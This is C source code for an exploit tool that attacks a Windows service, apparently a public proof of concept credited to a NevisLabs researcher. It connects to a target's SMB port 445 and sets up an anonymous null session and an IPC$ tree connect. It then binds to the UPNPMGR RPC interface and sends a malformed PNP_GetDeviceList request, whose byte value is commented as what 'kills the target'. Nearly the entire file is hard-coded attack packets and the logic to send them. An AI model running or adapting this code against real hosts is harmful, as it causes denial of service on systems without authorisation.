#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

unsigned short ProcessID = 0;
unsigned short TID = 0;
unsigned short UserID = 0;
unsigned short FID = 0;

char peer0_0[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00" ;

char peer0_1[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";

char peer0_1_2[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\xED\x41\x2C\x27\x86\x26\xD2\x59\xA0\xB3"
"\x5E\xAA\x00\x88\x6F\xC5\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";

char peer0_2[] =
"\x00\x00\x00\x58\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5A\x00\x08\x00\x01\x00\x2D\x00\x00";

char peer0_3[] =
"\x00\x00\x00\x66\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x18\x07\xc8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe"
"\x00\x08\x40\x00\x18\xff\x00\xde\xde\x00\x10\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x13\x00\x00\x5c\x00\x62\x00\x72\x00\x6f\x00"
"\x77\x00\x73\x00\x65\x00\x72\x00\x00\x00";

char peer0_4[] =
"\x00\x00\x00\x9A\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x08\x01\xC0"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x01\x00\x10\x00\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x52\x00\x48\x00\x52\x00\x02"
"\x00\x26\x00\x00\x40\x57\x00\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00"
"\x00\x00\x00\x00\x00\x00\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00"
"\x00\x00\x00\x00\x01\x00\x40\x4E\x9F\x8D\x3D\xA0\xCE\x11\x8F\x69"
"\x08\x00\x3E\x30\x05\x1B\x01\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C"
"\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

char peer0_5[] =
//NETBIOS Fields
//==============
"\x00" //Message type
"\x00\x00\x80" //Payload length C
//SMB Fields
//==========
//SMB Header
"\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x40\x6D\x4E\xF4\x8C\x6E\x13\x7B\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x00\x01"
//Write ANDX Request fields
"\x0E" //Word count
"\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
"\xFF\xFF\xFF\x08\x00"
"\x40\x00" //Remaining C
"\x00\x00" //Data Length High
"\x40\x00" //Data Length Low C
"\x40\x00" //Data Offset C
"\x00\x00\x00\x00" //High Offset
"\x41\x00" //Byte count C
"\xEE"//Padding
//DCE RPC Request field
//=====================
"\x05\x00\x00\x03\x10\x00\x00\x00"
"\x40\x00" //Frag Length
"\x00\x00" //Auth Length
"\x8D\x00\x00\x00" //Call Id
"\x28\x00\x00\x00" //Alloc HINT C
"\x00\x00" //Context Id
"\x0A\x00" //OpNum; 10 in our case for PNP_GetDeviceList
//DATA for GetDeviceList
"\x00\x00\x00\x00"
"\x10\x10\x10\x10" //This is what kills the target. \x00\x00\x00\x00 is safe
"\x48\x54\x52\x45\x45\x5C\x52\x4F\x4F\x54\x5C"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00";

void send_packet(int sock, char *payload, int size, char *type)
{
        int ntrans, ret;
       
        memcpy(&payload[30], &ProcessID, 2);
       
        if (UserID)
                memcpy(&payload[32], &UserID, 2);
        if (TID)
                memcpy(&payload[28], &TID, 2);

        if (strcmp(type, "Sending DCE RPC Bind UPNPMGR request") == 0) {
                memcpy(&payload[67], &FID, 2);
        }
        if (strcmp(type, "UPNPMGR upnp_getdevicelist request") == 0) {
                memcpy(&payload[41], &FID, 2);
        }

        printf("[*] %s: ", type);
        fflush(stdout);
        ntrans = send(sock, payload, size, 0);
        if (ntrans < 0) {
                printf("\033[0;31mFailed\033[0;39m\n\n");
                exit(-1);
        }
}

void get_response(int sock, char *type)
{
        int ret;
        char response[1496];

        ret = recv(sock, response, 1496, 0);
        if (strcmp(type, "Null Session request 1") != 0) {
                if ((ret < 0 || response[9] != 0)) {
                        printf("\033[0;31mError in %s response\033[0;39m\n\n", type);
                        exit(-1);
                }
        }
       
        if (strcmp(type, "Null Session request 1") == 0) {
                UserID = *(unsigned short *)&response[32];
        }
        if (strcmp(type, "Tree Connect") == 0) {
                TID = *(unsigned short *)&response[28];
        }
        if (strcmp(type, "NT Creat AndX") == 0) {
                FID = *(unsigned short *)&response[42];
        }
       
        if (strcmp(type, "UPNPMGR upnp_getdevicelist") == 0)
{
                if((unsigned long)response[88] != 0) {
                        printf("\033[0;31mnca_s_fault_ndr\033[0;39m\n\n");
                        exit(-1);
                }
        }
        printf("\033[0;32mOK\033[0;39m\n");
}

void banner()
{

printf("\n\n\033[0;31m\t!------------------------------------------!\n\033[0;39m");
        printf("\033[0;31m\t Memory leak when sending upnp_getdevicelist request\n\033[0;39m");
        printf("\033[0;31m\t Coded by: \033[0;34m Winny Thomas :-)\n\033[0;39m");
        printf("\033[0;34m\t\t NevisLabs\n\033[0;39m");
        printf("\033[0;34m\t\t Nevis Networks, Pune, INDIA\n\033[0;39m");

printf("\033[0;31m\t!------------------------------------------!\n\n\033[0;39m");
}

char *setup_tCon(char *UNC, char *ptr)
{
        int pindex = 0, uindex = 0, len;
       
        len = strlen(UNC);
        while (uindex < len) {
                if ((pindex % 2) != 0) {
                        ptr[pindex] = '\x00';
                        pindex++;
                        continue;
                }

                ptr[pindex] = UNC[uindex];
                uindex++;
                pindex++;
        }

        ptr[pindex] = '\x00';
        pindex++;
        ptr[pindex] = '\x00';
        pindex++;
        ptr[pindex] = '\x00';
        pindex++;

        ptr[pindex] = 'I'; pindex++; ptr[pindex] = 'P'; pindex++; ptr[pindex] ='C'; pindex++;

        ptr[pindex] = '\x00';
        pindex++;
        ptr[pindex] = '\x00';
        pindex++;
}

int main(int argc, char *argv[])
{
        struct sockaddr_in target;
        struct hostent *host;
        char UNC[50], tConXpacket[150], *temp, targetIP[20];
        int sockfd;
        int ret, templen;
       
        system("clear");
        banner();

        if (argc < 2) {
                printf("Usage: %s <host name|ip address>\n\n", argv[0]);
                exit(-1);
        }
       
        srand(time(NULL));
        ProcessID = rand();

        printf("[*] Resolving %s: ", argv[1]);
        host = gethostbyname(argv[1]);
        if (!host) {
                printf("\033[0;31mFailed\033[0;39m\n");
                exit(-1);
        }
        printf("\033[0;32mOK\033[0;39m\n");
       
        target.sin_family = AF_INET;
        target.sin_addr = *(struct in_addr *)host->h_addr;
        target.sin_port = htons(445);
        sprintf(targetIP, "%s", inet_ntoa(target.sin_addr));
       
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        ret = connect(sockfd, (struct sockaddr *)&target, sizeof(target));
        if (ret < 0) {
                perror("Connect");
                exit(-1);
        }

        send_packet(sockfd, peer0_0, sizeof(peer0_0) -1, "Sending SMB Negotiate request");
        get_response(sockfd, "SMB Negotiate");

        send_packet(sockfd, peer0_1, sizeof(peer0_1) -1, "Sending Null Session request");
        get_response(sockfd, "Null Session request 1");

        send_packet(sockfd, peer0_1_2, sizeof(peer0_1_2) -1, "Sending Null Session request");
        get_response(sockfd, "Null Session request 2");

        bzero(tConXpacket, 150);
        temp = tConXpacket;
        memcpy(tConXpacket, peer0_2, sizeof(peer0_2));
        temp += sizeof(peer0_2) -1;
        sprintf(UNC, "\\\\%s\\IPC$", targetIP);
        setup_tCon(UNC, temp);
        templen = (strlen(UNC)*2) +9;
        tConXpacket[3] = 43 + templen;
        templen -= 2;
        memcpy((unsigned long *)&tConXpacket[45], &templen, 1);

        send_packet(sockfd, tConXpacket, sizeof(peer0_2) +templen, "Sending Tree Connect request");
        get_response(sockfd, "Tree Connect");

        send_packet(sockfd, peer0_3, sizeof(peer0_3) -1, "Sending NT Creat AndX request");
        get_response(sockfd, "NT Creat AndX");

        send_packet(sockfd, peer0_4, sizeof(peer0_4) -1, "Sending DCE RPC Bind UPNPMGR request");
        get_response(sockfd, "DCE RPC Bind UPNPMGR");

        send_packet(sockfd, peer0_5, sizeof(peer0_5) -1, "UPNPMGR upnp_getdevicelist request");
        get_response(sockfd, "UPNPMGR upnp_getdevicelist");

        close(sockfd);
}

/* EoF */